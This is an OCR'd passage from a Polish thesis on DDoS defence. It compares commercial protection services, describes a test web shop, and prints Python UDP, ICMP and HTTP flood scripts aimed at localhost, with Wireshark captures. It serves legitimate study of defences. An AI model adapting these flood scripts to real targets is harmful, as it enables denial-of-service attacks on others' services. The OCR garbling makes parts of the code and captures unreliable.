Wykorzystana jest globalna infrastruktura z rozproszonymi centrami danych.

Bardzo wysoka skuteczno$¢ zapewniona poprzez uzycie globalnej sieci
Sserwerow.
Elastyczne narzedzia stuzace do zarzadzania politykami bezpieczenstwa.
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e Ochrona przed réznymi rodzajami atakow na aplikacje internetowe, nie tylko

DDoS, ale réwniez miedzy innymi wstrzyknigcie kodu jezyka SQL, XSS.
Wady:

e Wysokie koszty implementacji i utrzymania — sprawia to, iz rozwigzanie jest
gltownie wykorzystywane przez duze przedsigbiorstwa z duzym budzetem.

e Zlozona konfiguracja - poniewaz Akamai oferuje szeroki zakres mozliwosci, ich
poprawna konfiguracja i integracja moze by¢ czasochtonna i skomplikowana.

e Opodznienia w dostgpie do pomocy technicznej - dostep do wsparcia moze by¢
czasami opdzniony, co moze sprawia¢ problemy w przypadku zaistnienia

potrzeby szybkiego rozwigzania problemow zwigzanych z bezpieczenstwem.

3. AWS Shield [20]
Gtoéwne funkcjonalnosci:

e Ochrona na warstwach 3, 4 i 7 z modelu OSI (warstwy sieci i aplikacji).

e Mozliwos¢ integracji z innymi ushugami AWS takimi jak CloudFront, Route 53
oraz Elastic Load Balancing.

e Automatyczne wykrywanie i ograniczanie wptywu atakow DDoS.

e Wariant Shield Advanced oferuje raporty dotyczace zaistniatych atakdw, alerty
przed nadchodzgcymi atakami i pomoc ekspertow AWS w przypadku zaistnienia

zaawansowanych i skomplikowanych atakow.
Zalety:

e Dobra integracja z innymi narzedziami i ekosystemem AWS.

e Globalna ochrona dzigki korzystaniu z rozproszonych regionow AWS na calym
Swiecie .

e Wariant Shield Standard oferuje podstawowg ochrong przed atakami DDoS bez

dodatkowych kosztow.
Wady:

e Brak ochrony przed wszystkimi atakami na warstwe aplikacji — AWS Shield nie

oferuje ochrony przed wszystkimi rodzajami atakow na warstwe aplikacyjna, co
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4.

wigze si¢ z mozliwoscig zaistnienia sytuacji, gdzie konieczne jest dodatkowe
wsparcie (na przyktad w postaci WAF).

Zaleznos¢ od AWS — ochrona dziata optymalnie tylko w infrastrukturze AWS, co
moze by¢ problemem dla firm dziatajacych na innych platformach chmurowych.
Wysokie koszty wersji Shield Advanced — zaawansowane ustugi dostepne w
wersji Shield Advanced moga okaza¢ si¢ zbyt kosztowne dla matych 1 srednich

firm o ograniczonym budzecie.

Arbor Networks (NETSCOPE Arbor) [20]

Glbéwne funkcjonalnosci:

Wady:

Korzysta z wyspecjalizowanych centr do filtrowania i oczyszczania ztosliwego
ruchu sieciowego.

Posiada rozbudowane funkcje do monitorowania i analizy ruchy sieciowego.
Oferuje mozliwos¢ lokalnego wdrozenia (ang. on-premise) lub jako ushuga
zarzadzana.

Posiada dedykowany zintegrowany system analizy zagrozen oparty na danych z

réznych sieci — Arbor Active Threat Level Analysis System (ATLAS).

Globalna analiza zagrozen, w tym atakéw DDoS dzigki ATLAS.
Mozliwo$¢ dostosowania ochrony do specyficznych potrzeb sieci.
Ze wzgledu na swoja skuteczno$¢, jest szeroko stosowany w duzych

organizacjach 1 dostawcach ustug internetowych (ISP).

Wysokie koszty wdrozenia 1 utrzymania — jest to do$¢ kosztowne rozwigzanie,
dlatego najczgéciej wybierane jest przez duze firmy z odpowiednio duzym
budzetem.

Skalowalno$¢ - rozwigzanie to w niektorych przypadkach moze nie skalowac si¢
wystarczajagco dobrze do dynamicznie zmieniajgcego si¢ Srodowiska

chmurowego.
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Potencjalne opdznienia w filtracji ruchu — ze wzgledu na analiz¢ duzych ilo$ci
danych ruchu sieciowego, mozliwe jest zaistnienie opdznien w filtracji ruchu, co

przektada si¢ na obnizenie wydajnosci aplikacji.

Radware DefensePro [20]

Glowne funkcjonalnosci:

Zalety:

6.

Oferuje ochrong przed atakami wolumetrycznymi, sieciowymi i aplikacyjnymi.
Posiada wbudowany systemy IPS, ktory blokuje podejrzane dziatania $wiadczace
0 ataku DDoS.

Korzysta z uczenia maszynowego do adaptacyjnej ochrony.

Wykorzystane mechanizmy detekcji oparte sg na algorytmach behawioralnych.

Rozbudowane funkcje analizy z zastosowaniem algorytméw behawioralnych
umozliwiajg automatyczne dostosowanie zabezpieczen.

Szybka i1 skuteczna reakcja na nowe zagrozenia.

Rozwigzanie oferuje wdrozenie w chmurze oraz lokalnie, na miejscu (ang. on-

premise).

Bardzo wysokie koszty - rozwigzanie Radware DefensePro moze by¢ zbyt drogie
dla matych 1 $rednich organizacji.

Problemy z falszywymi alarmami — mechanizmy detekcji behawioralnej moga
uzna¢ prawidlowy ruch uzytkownikéw za ztosliwy, co tworzy fatszywe alarmy.
Konieczne jest wtedy reczne dostrajanie, aby unikna¢ problemow dla
prawidlowych uzytkownikow.

Niekorzystne rozwigzanie dla ruchu aplikacyjnego — Radware DefensePro moze
wymaga¢ dodatkowych narzedzi do peinej ochrony aplikacji internetowych, co

wiaze si¢ z zwigkszeniem kosztow 1 ztozonoS$ci systemu.

Imperva Incapsula [20]
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Gléwne funkcjonalnosci:

Zalety:

Wady:

7.

Posiada rozbudowane mechanizmy analizy i filtracji ruchu.
Korzysta z CDN i rownowazenia obcigzenia W celu rozproszenia ruchu.
Oferuje ochrong przed atakami DDoS na warstwg sieciowg 1 aplikacji.

Daje mozliwo$¢ monitorowania i raportowania w czasie rzeczywistym.

Oferuje kompleksowg ochrone przed réznymi rodzajami zagrozen dla aplikacji
internetowych, nie tylko atakami DDoS.

Latwos¢ integracji z istniejacymi aplikacjami i infrastruktura.

Automatyczna analiza ruchu i reakcja na zagrozenia bez ingerencji w dziatanie

dla normalnego uzytkownika.

Wysoki koszt wersji premium - petna funkcjonalno$¢ dostepna jest tylko w
najwyzszych planach, co moze sprawi¢, ze mniejsze firmy moga nie mieé
wystarczajaco duzego budzetu aby zdecydowac sie na to rozwigzanie.
Opdznienia w dziataniu (ang. latency) dla poprawnych uzytkownikow - w
niektorych przypadkach poprawni uzytkownicy moga zauwazy¢ opdznienia w
dostepie do =zasobow, co przektada si¢ na pogorszenie doswiadczen
uzytkownikow podczas korzystania z aplikacji.

Ograniczenia w funkcjonalnosci CDN — Imperva Incapsula oferuje CDN, lecz jest
on bardziej ograniczony niz wyspecjalizowane rozwigzania skupiajace si¢ na
CDN, takie jak Cloudflare lub Akamai.

F5 Networks (Silverline DDoS Protection) [20]

Gléwne funkcjonalnosci:

Oferuj¢ ochrong przed atakami wolumetrycznymi i na warstwe aplikacji.

Mozliwa jest integracja z systemami oferujagcymi rOwnowazenie obcigzenia oraz

WAF.

Umozliwia wykrywanie anomalii 1 automatyczng reakcje na wykryte zagrozenia.
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e Oferuje mozliwos¢ ciggltego monitorowania oraz wsparcia ekspertow w zakresie

bezpieczenstwa .
Zalety:

e Oferuje jednoczesng ochron¢ przed atakami DDoS wraz z zarzadzaniem
aplikacjami.

e Usluga jest w pelni zarzadzana w chmurze, co zmniejsza koszty lokalnej
infrastruktury.

e Dostepny jest zespol ekspercki, ktory moze pomoc w przypadku zaistnienia

ztozonego, skomplikowanego ataku.
Wady:

e Wysokie koszty zwigzane z wdrozeniem 1 utrzymaniem — koszty te moga
oznacza¢, iz rozwigzanie jest niedostgpne dla mniejszych organizacji.

e Powiazanie z chmurg - rozwigzanie to dostepne jest tylko w chmurze, co eliminuje
je dla firm, ktore preferuja ustugi lokalne (ang. on-premise).

e Problem z integracja ze wszystkimi §rodowiskami - rozwigzanie dziata najlepiej
we wlasnym ekosystemie F5. Moze to sprawia¢ problemy w niejednorodnych

srodowiskach IT.
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Czes$¢ badawcza
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4. Aplikacja testowa

W celu przeprowadzenia testow atakow DDoS oraz metod zabezpieczen przed
nimi, konieczne jest stworzenie wlasnej aplikacji webowej, gdyz przeprowadzanie
atakow DDoS na publiczne strony internetowe jest niezgodne z prawem i1 moze
prowadzi¢ do powaznych konsekwencji. Z tego powodu stworzona zostanie aplikacja
internetowa symulujaca dziatanie sklepu internetowego. Serwisy tego typu sa popularng
forma aplikacji webowych oraz mogg stac si¢ celem atakow DDoS co ma ogromne skutki
dla nich. Poniewaz konkurencja jest ogromna, jezeli jaki$ strona sklepu nie jest dostepna,
lub korzystanie z niej jest utrudnione z powodu dhugich czaséw odpowiedzi, uzytkownik
moze znalez¢ inng ustuge oferujaca te same korzysci w szybkim czasie co prowadzi do
straty potencjalnych przychodéw dla sklepu. Jezeli dana sytuacja by si¢ powtarzala,
uzytkownicy moga przestac korzysta¢ z danego Serwisu co wiazg si¢ z jeszcze wigkszymi

stratami zyskow.

4.1. Planowanie aplikacji symulujqcej sklep internetowy

Aplikacja bedzie sktadac sie z aplikacji klienta (ang. frontend), aplikacji serwera
(ang. backend) oraz bazy danych do przechowywania danych w systemie. Wigkszos¢
nowoczesnych stron implementuje interfejs REST jako standard na rynku, wiec
zaimplementuje go rowniez dla testowego sklepu internetowego. Oznacza to, ze
komunikacja z serwerem musi odbywaé si¢ za pomocg protokotu HTTP/HTTPS i
aplikacja bedzie bezstanowa - zadne zapytanie do aplikacji serwera nie powinno stworzy¢
sytuacji, iz przestanie on dziata¢ poprawnie. Jako iz nie przewidywane jest
przechowywanie i operacje na ogromnych ilo$ciach danych, baza danych bedzie

relacyjna, gdyz spelnia wymagania aplikacji testowe;.

4.1.1 Funkcje i cechy aplikacji

Aplikacja bedzie skoncentrowana na przydatnos$ci dla uzytkownika, gdyz jej testy
wydatnosci beda przeprowadzana na funkcjonalno$ciach najczesciej uzywanych przez
uzytkownikoéw. Serwer i baza danych bedzie korzysta¢ z takich obiektow jak Produkt,
Zamowienie, Uzytkownik oraz wszystkich operacjach stworzenia, odczytania,
modyfikacji 1 usunigcia (ang. Create, Read, Update, Delete, CRUD) dla nich.

Najwazniejszymi funkcjonalno$ciami aplikacji z punktu widzenia zwyklego
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uzytkownika beda: pobranie listy dostepnych produktow, ztoZzenie zamoéwienia, pobranie
listy zamowien, login, rejestracja. Jak juz bylo wspomniane, zaimplementowane beda

réwniez punkty koncowe do administracji danymi w systemie takie jak:

o Dodanie nowego produktu.

o Edycja produktu.

J Usunigcie produktu.

J Usunigcie zamoéwienia.

. Pobranie listy uzytkownikow.

. Edycja/Usunigcie uzytkownika.

Funkcjonalnosci te nie beda dostepne dla zwyktych uzytkownikow sklepu, lecz
dla specjalnych osob posiadajace uprawnienia admina, dlatego tez nie beda one
wykorzystywane w testach aplikacji. Dodatkowo jest jeszcze pobranie, stworzenie,
edycja regulaminu i polityki prywatnosci. Takie lub podobne dokumenty sg obecne na
wiekszosci stron internetowych 1 muszg one by¢ udostepnione dla kazdego uzytkownika,
aby mogt si¢ on zapozna¢ z zasadami korzystania z ustug sklepu oraz jak jego dane
osobowe moga by¢ wykorzystywane w przysztosci. Broni to wtascicieli aplikacji przed
potencjalnymi pozwami sagdowymi a co za tym idzie dodatkowymi kosztami, ktére

mogtyby nawet doprowadzi¢ do upadku sklepu.

4.2. Implementacja aplikacji

Aplikacja klienta zostala stworzona przy uzyciu biblioteki Javascript Angular.
Elementy widoczne na stronie takie jak lista produktow czy koszyk sa stworzone jako
komponenty. Do komunikacji z serwerem i wykonywania operacji po stronie klienta
stworzone sg serwisy, a obiekty otrzymywane z aplikacji serwera mapowane sg jako
modele. Na rysunku 1.2. przedstawiona jest struktura zaimplementowanej aplikacji

klienta.
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~ FRONTSHOP

ponent.html

ponent.spects
ponent.ts
nodule.ts

Rys. 1.2. Struktura aplikacji klienta fopracowanie wtasne]

Relacyjna baza danych zostata stworzona w srodowisku MySQL. Na rysunku 1.3.

przedstawiona jest struktura tabel w bazie.
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¥ -] simple_shop
T@ Tables
> agreements
> agresments_seq
[ orders
[ orders_seq
[ product
[ product_seq
= user
> user_seq
@ Views
@ Stored Procedures
@ Functions

Rys. 1.3. Struktura bazy danych [opracowanie witasne]
Aplikacja serwera stworzona zostat w technologii Spring Boot opierajacej si¢ na
jezyku Java. Jako serwer wykorzystany jest domyslny Apache Tomcat. Jest to jedna z

najpowszechniejszych nowoczesnych metod tworzenia serwer6w stosowana w wielu

aplikacjach komercyjnych.

Na rysunku 1.4. zostala przedstawiona struktura zaimplementowanej aplikacji serwera:
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main

controllers

mentsController

ProductR

UserService

utils

@ ShopApplication

Rys. 1.4. Struktura aplikacji serwera [opracowanie wlasne]

Obiekty tworzone sg w pakiecie ,,models”. Do klasy modelu dodaje adnotacje
,,@Entity” z biblioteki jakarta.persistance, wraz z nazwa tabeli w bazie danych, ktora
bedzie przechowywaé dany obiekt. Na rysunku 1.5. pokazana jest przyktadowa klasa

,user” z pakietu ,,models”.

32



Rys. 1.4. Przyktad klasy z pakietu models [opracowanie wlasne]

Dodatkowo w klasie mamy standardowe metody GET i SET dla poszczegdlnych

atrybutéw klasy.

Do komunikacji z baz danych stworzone zostaty repozytoria w postaci interfejsoéw
rozszerzajacych interfejs JpaRepository. Na ponizszym rysunku 1.6. przedstawiony jest

interfejs ,,OrderRepository” z pakietu ,,repositories”.
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Rys. 1.5. Przyktad interfejsu z pakietu repositorie [opracowanie wlasne]

Poprzez rozszerzenie interfejsu JpaRepository, mamy dostgp do wielu
standardowych metod dodawania, pobierania i usuwania danych z bazy. Gdy chcemy
zaimplementowac wilasne zapytanie lub polecenie do bazy danych, mozemy to zrobic¢

przy pomocy adnotacji “@Query” z biblioteki Springframework.Data.Jpa.Repository.

Do komunikacji z repozytorium stworzone zostaty klasy w pakiecie ,,services”.
Za pomoca adnotacji “@Autowired” wstrzykiwany jest interfejs repozytorium jako
zmienna klasowa, na ktorej pozniej wykonywane sg rozne metody wysytajace polecenia
do bazy danych. Na rysunku 1.7. pokazany jest przyktad klasy ,,AgreementsService” z

pakietu ,,service”.
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Rys. 1.6. Przyktad klasy z pakietu services [opracowanie wiasne]

Klasy zajmujace si¢ obstuga zadan otrzymywanych od uzytkownika znajduja si¢
w pakiecie ,.controllers”. Wykorzystuja one serwisy i dane podane od klienta do
wykonania operacji w aplikacji. Dzigki adnotacji “@RestController” wymuszamy
implementacije interfejsu REST. Zadania obstugiwane przez kontroler posiadaja wtasna
unikalng $ciezke do osobnej metody HTTP, co ustalamy poprzez zastosowanie adnotacji
“@PostMapping”, “@GetMapping”, itp. Ponizej na rysunku 1.8. pokazany jest przyktad
klasy ,,ProductController”.
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Rys. 1.7. Przykiad klasy z pakietu controllers [opracowanie wlasne]
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5. Ewaluacja skutecznosci zabezpieczen

Rozdzial ten poswiecony jest przedstawieniu wynikow badan wydajno$ci
aplikacji, jak ataki DDoS wptywaja na dziatanie aplikacji sieciowych oraz implementacji

zabezpieczen przed nimi.

5.1. Projektowanie testow i eksperymentow

Testy beda polegaty na sprawdzeniu wydajnosci aplikacji w trakcie trwania ataku
DDoS oraz jak implementacja metod zabezpieczen przed nimi wptywa na wydajnosé
aplikacji — sprawdzenie czy metoda ta pomogla w zapobiegnieciu lub minimalizacji
skutkéow ataku na aplikacje webowg. Testy jak ataki wpltywaja na aplikacje beda
wykonane za pomocg Apache Jmeter — aplikacji stworzonej do wykonywania testow

wydajnosci i1 obcigzenia aplikacji webowych.

Ataki DDoS beda wysytane za pomaca wykonania skryptéw w jezyku Python,
ktore beda wysyta¢ roznego rodzaju pakiety na adres aplikacji serwera (Backend). Jako
iz ataki DDoS skupiaja si¢ na eksploatacji serwera i jego zasobow, aplikacja backend

bedzie ich gtdéwnym celem.
Oto skrypty atakow DDoS wykonywane na wtasng aplikacje testowa:

Pakiety wysylane sa za pomoca biblioteki socket. W kazdym ataku wykorzystana
jest funkcja ,,run_ddos_attack with_threads(ddos_attack, num_threads)” do wysytania
wiekszej ilosci pakietow jednoczesnie. Funkcja ta tworzy podang jako argument liczbe
watkow, gdzie kazdy z nich wykonuje podany jako argument atak DDoS. Wykorzystana
zostata do tego biblioteka threading. Na ponizszym listingu 1.1. przedstawiony jest kod

uruchomienia skryptow atakow DDoS z uzyciem watkoéw.
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import threading
def run ddos_attack with threads(ddos _attack, num threads) :
threads = []
try:
for i in range (num threads) :
thread = threading.Thread (target=ddos_ attack,
name=f"FloodThread-{i+1}")
threads.append (thread)
thread.start ()

for thread in threads:
thread.join ()
except KeyboardInterrupt:
print ("\nAttack stopped by user.")

Listing 1. 1. Skrypt uruchomienia atakéw DDoS z wykorzystaniem waqtkow [opracowanie wlasne]

Pakiety lub zadania uzyte w atakach wysylane sg w nieskonczonej petli do
momentu r¢cznego zatrzymania skryptu. Jako adres celu ustawiony jest 127.0.0.1:8080,

czyli adres, gdzie lokalnie dziata aplikacja serwera.

Ponizej na listingu 1.2. przedstawiony jest skrypt ataku UDP Flood.
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import socket
import random
import time

NUM THREADS = 300
TARGET IP = "127.0.0.1"
TARGET PORT = 8080
PACKET SIZE = 65507

def udp flood():
"""Funkcja przeprowadzajaca atak UDP Flood"""
sock = socket.socket (socket.AF INET, socket.SOCK DGRAM)
data = bytes(random.getrandbits(8) for in

range (PACKET SIZE))

while True:
try:
sock.sendto (data, (TARGET IP, TARGET PORT))
except Exception as e:
print (f"Error: {e}")

if name == " main ":

print (f"Starting UDP flood on {TARGET IP}:{TARGET PORT}
with {NUM THREADS} threads...")

run_ddos _attack with threads(udp flood, NUM THREADS)

Listing 1. 2. Skrypt ataku UDP Flood [opracowanie wlasne]

Ustawiony zostal duzy rozmiar pakietu, aby zwigkszy¢ ilo$¢ potrzebnych

zasobow sieciowych potrzebnych do odebrania i obstugi zgdan UDP.

Na ponizszym rysunku 2.1. pokazany jest przechwycony ruch pakietéw UDP w
aplikacji Wireshark podczas trwania ataku UDP Flood.
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No. Time Source Destination Protocol Length Info

4594.. 49818981 127.8.8.1 127.8.8.1 UDP 65539 63542 » 3838 Len=65387
4694.. 49,818918 127.8.8.1 127.8.8.1 upp 65539 63586 » 8888 Len=65587
4694.. 49.819678 127.8.8.1 127.8.8.1 UDP 65539 63532 » 80880 Len=65587
4594.. 49,819887 127.8.8.1 127.8.8.1 UDP 65539 63626 » 8880 Len=65587
4594.. 49,819887 127.8.8.1 127.8.8.1 UDP 65539 63528 » 3838 Len=655387
4694.. 49,819285 127.8.8.1 127.8.8.1 upp 65539 63674 » 8888 Len=65587
4694.. 49.,819214 127.8.8.1 127.8.8.1 upP 65539 63534 -+ 80880 Len=65587
4g94.. 49,819215 127.8.8.1 127.8.8.1 UDP 65539 63614 -+ 8080 Len=65587
4694.. 49,819363 127.8.8.1 127.8.8.1 UDP 65539 63627 » 8880 Len=65387
4594.. 49.819377 127.8.6.1 127.8.6.1 upP 65539 653588 » 8888 Len=65587
4694.. 49.819386 127.8.8.1 127.8.8.1 upP 65539 63627 -+ 8080 Len=65587
4694.. 49.,819528 127.8.8.1 127.8.8.1 UDP 65539 63526 -+ 80880 Len=65587
4594.. 49,819545 127.8.8.1 127.8.8.1 UDP 65539 63553 » 8880 Len=65387
4594.. 49.819544 127.8.6.1 127.8.6.1 upP 65539 63647 » 8888 Len=65587
4694.. 49.819688 127.8.8.1 127.8.8.1 upP 65539 63566 » 8888 Len=65587
4694.. 49.819694 127.8.8.1 127.8.8.1 UDP 65539 63568 -+ 8880 Len=65587
4594.. 49,819697 127.8.8.1 127.8.8.1 UDP 65539 63557 » 8880 Len=65587
4594.. 49,819797 127.8.8.1 127.8.8.1 UDP 65539 63648 » 3838 Len=65587
4694.. 49.819881 127.8.8.1 127.8.8.1 upP 65539 63571 » 8888 Len=65587
4694.. 49.819887 127.8.8.1 127.8.8.1 UDP 65539 63584 -+ 30880 Len=65587
4594.. 49,819982 127.8.8.1 127.8.8.1 UDP 65539 63539 » 8880 Len=65587
4594.. 49,819993 127.8.8.1 127.8.8.1 UDP 65539 63655 » 8B38 Len=65587
4594.. 49,819999 127.8.8.1 127.8.8.1 upp 65539 63528 » 8888 Len=65587
4694.. 49.828142 127.8.8.1 127.8.8.1 upP 65539 63643 -+ 80880 Len=65587
4694.. 49,820148 127.8.8.1 127.8.8.1 UDP 65539 63609 - 8080 Len=65587
4694.. 49.8208166 127.8.8.1 127.8.8.1 UDP 65539 63593 » 8838 Len=65587
4594.. 49.828363 127.8.6.1 127.8.6.1 upP 65539 63596 » 8888 Len=65587
4694.. 49.828379 127.8.8.1 127.8.8.1 upP 65539 63647 -+ 8880 Len=65587
4g94.. 49,828381 127.8.8.1 127.8.8.1 UDP 65539 63588 » 8080 Len=65587
4594.. 49,828506 127.8.8.1 127.8.8.1 UDP 65539 63533 » 8880 Len=65387
4594.. 49.828515 127.8.6.1 127.8.6.1 upP 65539 63678 » 8888 Len=65587
4694.. 49.828533 127.8.8.1 127.8.8.1 upP 65539 63622 » 8880 Len=65587
4694.. 49,828748 127.8.8.1 127.8.8.1 UDP 65539 63557 » 80880 Len=65587
4694, 49,828744 127.8.8.1 127.8.8.1 UDP 65539 63586 » 8830 Len=65587
4594.. 49,828747 127.8.8.1 127.8.8.1 UDP 65539 63557 » 3838 Len=655387
4694.. 49.8208988 127.8.8.1 127.8.8.1 upP 65539 63618 » 8888 Len=65587
4694.. 49,828995 127.8.8.1 127.8.8.1 UDP 65539 63683 » 8080 Len=65587
4594.. 49,821806 127.8.8.1 127.8.8.1 UDP 65539 63634 » 8880 Len=65587
4594, 49,821164 127.8.8.1 127.8.8.1 UDP 65539 63538 » 3838 Len=65587
4694.. 49.821176 127.8.8.1 127.8.8.1 UDP 65539 63591 » 8888 Len=65587

Frame 4265 65539 bytes on wire ( ; bytes captured ( bits) on interface \De
Null/Loopback

Internet Protocol ) j 4, Src: .8.8.1, Dst
rc Port: 63534, Ds

Rys. 2.1. Przechwycony ruch z ataku UDP Flood [opracowanie wiasne]

Na ponizszym listingu 1.3. przedstawiony zostat skrypt ataku ICMP Flood.
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import socket
import random
import struct
import time

NUM THREADS = 300
TARGET IP = "127.0.0.1"
PAYLOAD SIZE = 4096

def checksum(data) :
"""Funkcja do obliczania sumy kontrolnej ICMP"""

if len(data) % 2 != 0:

data += b'\x00"
s = sum(struct.unpack("!{}H".£format (len(data) // 2), data))
s = (s > 16) + (s & OxXFFFF)

s += s >> 16
return ~s & OxXFFFF

def create icmp packet (id):
"""Tworzy pakiet ICMP typu Echo Request"""
type code = 8 << 8 # Typ 8 (Echo Request), Kod 0
checksum value = 0
header = struct.pack("!HH", type code, checksum value)
payload = random. urandom (PAYLOAD SIZE)
checksum value = checksum(header + payload)
header = struct.pack("!HH", type code, checksum value)
return header + payload

def icmp flood():

"""Funkcja przeprowadzajaca atak ICMP Flood"""

sock = socket.socket (socket.AF INET, socket.SOCK RAW,
socket.IPPROTO ICMP)

packet id = random.randint (0, 65535)

while True:
try:
packet = create icmp packet (packet id)
sock.sendto (packet, (TARGET IP, 0))
except Exception as e:
print (f"Error: {e}")

if name == " main ":
print (f"Starting ICMP flood on {TARGET IP} with
{NUM THREADS} threads...")
run ddos attack with threads(icmo flood. NUM THREADS)

Listing 1. 3. Skrypt ataku ICMP Flood [opracowanie wlasne]

41




W tym skrypcie tworzymy pakiety ICMP z obliczong suma kontrolng i wysytamy
je na adres ataku.

Na rysunku 2.2. przedstawiony jest przechwycony ruch pakietow ICMP w
aplikacji Wireshark podczas trwania ataku ICMP Flood.

n icmpl

No. Source Destination Protocol Length Info
.187552 .0.8.1 .0.8.1 Echo (ping) reply i 5eq=13884/15414, tt1=128 (request in 122191)

. 42.188015 127.8.8.1 127.9.0.1 ICHP 65535 Echo (ping) request i 5eq=6@927/65517, ttl=128 (reply in 122194)

. 42.18806@ 127.8.0.1 127.8.0.1 ICHP 65535 Echo (ping) reply i 5eq=6@927/65517, ttl=128 (request in 122193)

- 42.188565 127.0.0.1 127.8.0.1 ICMP 65535 Echo (ping) request i 5eq=51106/41671, ttl=128 (reply in 122196)

- 42.188600 127.8.0.1 127.8.0.1 ICMP 65535 Echo (ping) reply i seq=51106/41671, tt1=128 (request in 122195)

- 42.189883 127.0.0.1 127.9.9.1 ICMP 65535 Echo (ping) request i seq=18778/23113, tt1=128 (reply in 122198)

. 42.189114 127.8.8.1 127.9.0.1 ICHP 65535 Echo (ping) reply i , 5eq=18778/23113, ttl=128 (request in 122197)

. 42.189667 127.8.0.1 127.8.0.1 ICHP 65535 Echo (ping) request i seq=32710/50815, ttl=128 (reply in 122208)

- 42.189782 127.8.0.1 127.8.0.1 ICMP 65535 Echo (ping) reply i seq=32710/58815, ttl=128 (request in 122199)

- 42.198182 127.9.8.1 127.8.0.1 ICMP 65535 Echo (ping) request i 5eq=52596/29981, ttl=128 (reply in 122282)

- 42.199220 127.0.0.1 127.9.9.1 ICMP 65535 Echo (ping) reply i 5eq=52595/29981, tt1=128 (request in 122281)

. 42.198723 127.8.8.1 127.9.0.1 ICHP 65535 Echo (ping) request i , 5eq=4509/48209, ttl=128 (reply in 122204)

. 42.198772 127.8.0.1 127.8.0.1 ICHP 65535 Echo (ping) reply i seq=4509/48209, tt1=128 (request in 1222@3)

- 42.191285 127.9.9.1 127.9.0.1 ICMP 65535 Echo (ping) request i seq=42341/26821, ttl=128 (reply in 1222086)
.191318 127.8.0.1 127.8.0.1 ICMP 65535 Echo (ping) reply i seq=42341/26821, tt1=128 (request in 122285)
.191813 127.8.8.1 127.9.0.1 ICHP 65535 Echo (ping) request i 5eq=43272/2217, ttl=128 (reply in 1222@8)
.191845 127.8.8.1 127.9.0.1 ICHP 65535 Echo (ping) reply i , 58q=43272/2217, ttl=128 (request in 122207)
.192372 127.8.0.1 127.8.0.1 ICHP 65535 Echo (ping) request i seq=30861/36216, ttl=128 (reply in 12221@)

- 42.192417 127.8.0.1 127.9.0.1 ICMP 65535 Echo (ping) reply i seq=30861/36216, ttl=128 (request in 122289)
.192952 127.9.8.1 127.8.0.1 ICMP 65535 Echo (ping) request i seq=8335/36648, ttl=128 (reply in 122212)
.192995 127.8.8.1 127.9.0.1 ICHP 65535 Echo (ping) reply i 5eq=8335/36640, ttl=128 (request in 122211)
.193736 127.8.8.1 127.9.0.1 ICHP 65535 Echo (ping) request i , 5eq=4821/54546, ttl=128 (reply in 122214)
.193788 127.8.0.1 127.8.0.1 ICHP 65535 Echo (ping) reply i seq=4821/54546, ttl=128 (request in 122213)

- 42.194354 127.9.9.1 127.9.0.1 ICMP 65535 Echo (ping) request i £eq=51070/32455, ttl=128 (reply in 122216)

- 42.194388 127.8.0.1 127.8.0.1 ICMP 65535 Echo (ping) reply i seq=51078/32455, ttl=128 (request in 122215)

. 42.194899 127.8.8.1 127.9.0.1 ICHP 65535 Echo (ping) request i 5eq=54633/27893, ttl=128 (reply in 122218)

. 42.194935 127.8.8.1 127.9.0.1 ICHP 65535 Echo (ping) reply i 5eq=54633/27893, ttl=128 (request in 122217)

. 42.195437 127.8.0.1 127.8.0.1 ICHP 65535 Echo (ping) request i seq=63398/42743, tt1=128 (reply in 122228)

- 42.195472 127.8.0.1 127.9.0.1 ICMP 65535 Echo (ping) reply i £eq=63398/42743, ttl=128 (request in 122219)
.195977 127.9.8.1 127.8.0.1 ICMP 65535 Echo (ping) request i seq=15744/32829, ttl1=128 (reply in 122222)
.196813 127.8.8.1 127.9.0.1 ICHP 65535 Echo (ping) reply i 5eq=15744/32829, ttl=128 (request in 122221)
.196519 127.8.8.1 127.9.0.1 ICHP 65535 Echo (ping) request i 5eq=40226/8861, ttl=128 (reply in 122224)
.196553 127.8.0.1 127.8.0.1 ICHP 65535 Echo (ping) reply i seq=48226/8861, ttl=128 (request in 122223)

- 42.197850 127.9.8.1 127.8.0.1 ICMP 65535 Echo (ping) request i seq=37511/34786, ttl=128 (reply in 122226)

. 197085 127.8.0.1 127.8.0.1 ICMP 65535 Echo (ping) reply i seq=37511/34786, ttl=128 (request in 122225)
.197561 127.8.8.1 127.9.0.1 ICHP 65535 Echo (ping) request i 5eq=42084/25764, ttl=128 (reply in 122228)
.197596 127.8.8.1 127.8.9.1 TCHP 65535 Echo (ping) reply i seq=42084/25764, tt1=128 (request in 122227)
.198112 127.8.0.1 127.8.0.1 ICHP 65535 Echo (ping) request i seq=29847/38577, ttl=128 (reply in 12223@)

- 42.198147 127.8.0.1 127.8.0.1 ICMP 65535 Echo (ping) reply i seq=29047/38577, ttl=128 (request in 122229)

. 198665 .8.8.1 .9.9.1 ping) request i s5eq=32911/36736, tt1=128 (no response found!

-1

Internet Control

Rys. 2.1. Przechwycony ruch z ataku ICMP Flood [opracowanie wlasne]

Ponizej na listingu 1.4. przedstawiony jest skrypt ataku HTTP Flood.
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import requests
target _url = "http://localhost:8080/agreements/getAgreements/54"
NUM_THREADS = 300

def http flood():
"""Funkcja przeprowadzajaca atak HTTP Flood."""
while True:
try:
response = requests.get (target url)
except requests.exceptions.RequestException as e:
print (f"Error: {e}")

if name == " main_ ":

print (f"Starting HTTP Flood attack on {target url} with
{NUM_ THREADS} threads...")

run_ddos attack with threads (http flood, NUM THREADS)

Listing 1. 4. Skrypt ataku HTTP Flood [opracowanie wlasne]

W tym ataku wykorzystywana jest biblioteka requests do wysytania zapytan
HTTP. Jako cel ataku wybrany zostal punkt koncowy zwracajacy regulamin korzystania
z aplikacji i polityke prywatno$¢, gdyz dane zwracane maja wigkszy rozmiar niz dane
zwracane w innych punktach koncowych, co oznacza wigksze zapotrzebowanie zasobow

aplikacji na obstuzenie tych zadan.

Na ponizszym rysunku 2.3. pokazany jest przechwycony ruch zagdan HTTP w
aplikacji Wireshark podczas trwania ataku HTTP Flood.
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Source Destination Protocol Length Info

7891.. 7.473898 127.8.8.1 127.8.8.1 HTTP 22@ GET /agreements/getAgreements/54 HTTP/1.1
7891.. 7.473374 127.8.8.1 127.8.8.1 HTTP 22@ GET /agreements/getAgreements/54 HTTP/1.1
7891.. 7.473464 127.8.8.1 127.8.8.1 HTTP 228 GET /agreements/getAgreements/54 HTTP/1.1
7093.. 7.474799 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 288 , ]SON (application/json)
7094.. 7.475548 127.0.0.1 127.8.0.1 HTTP/J.. 49 HTTP/1.1 208 , JSON (application/json)
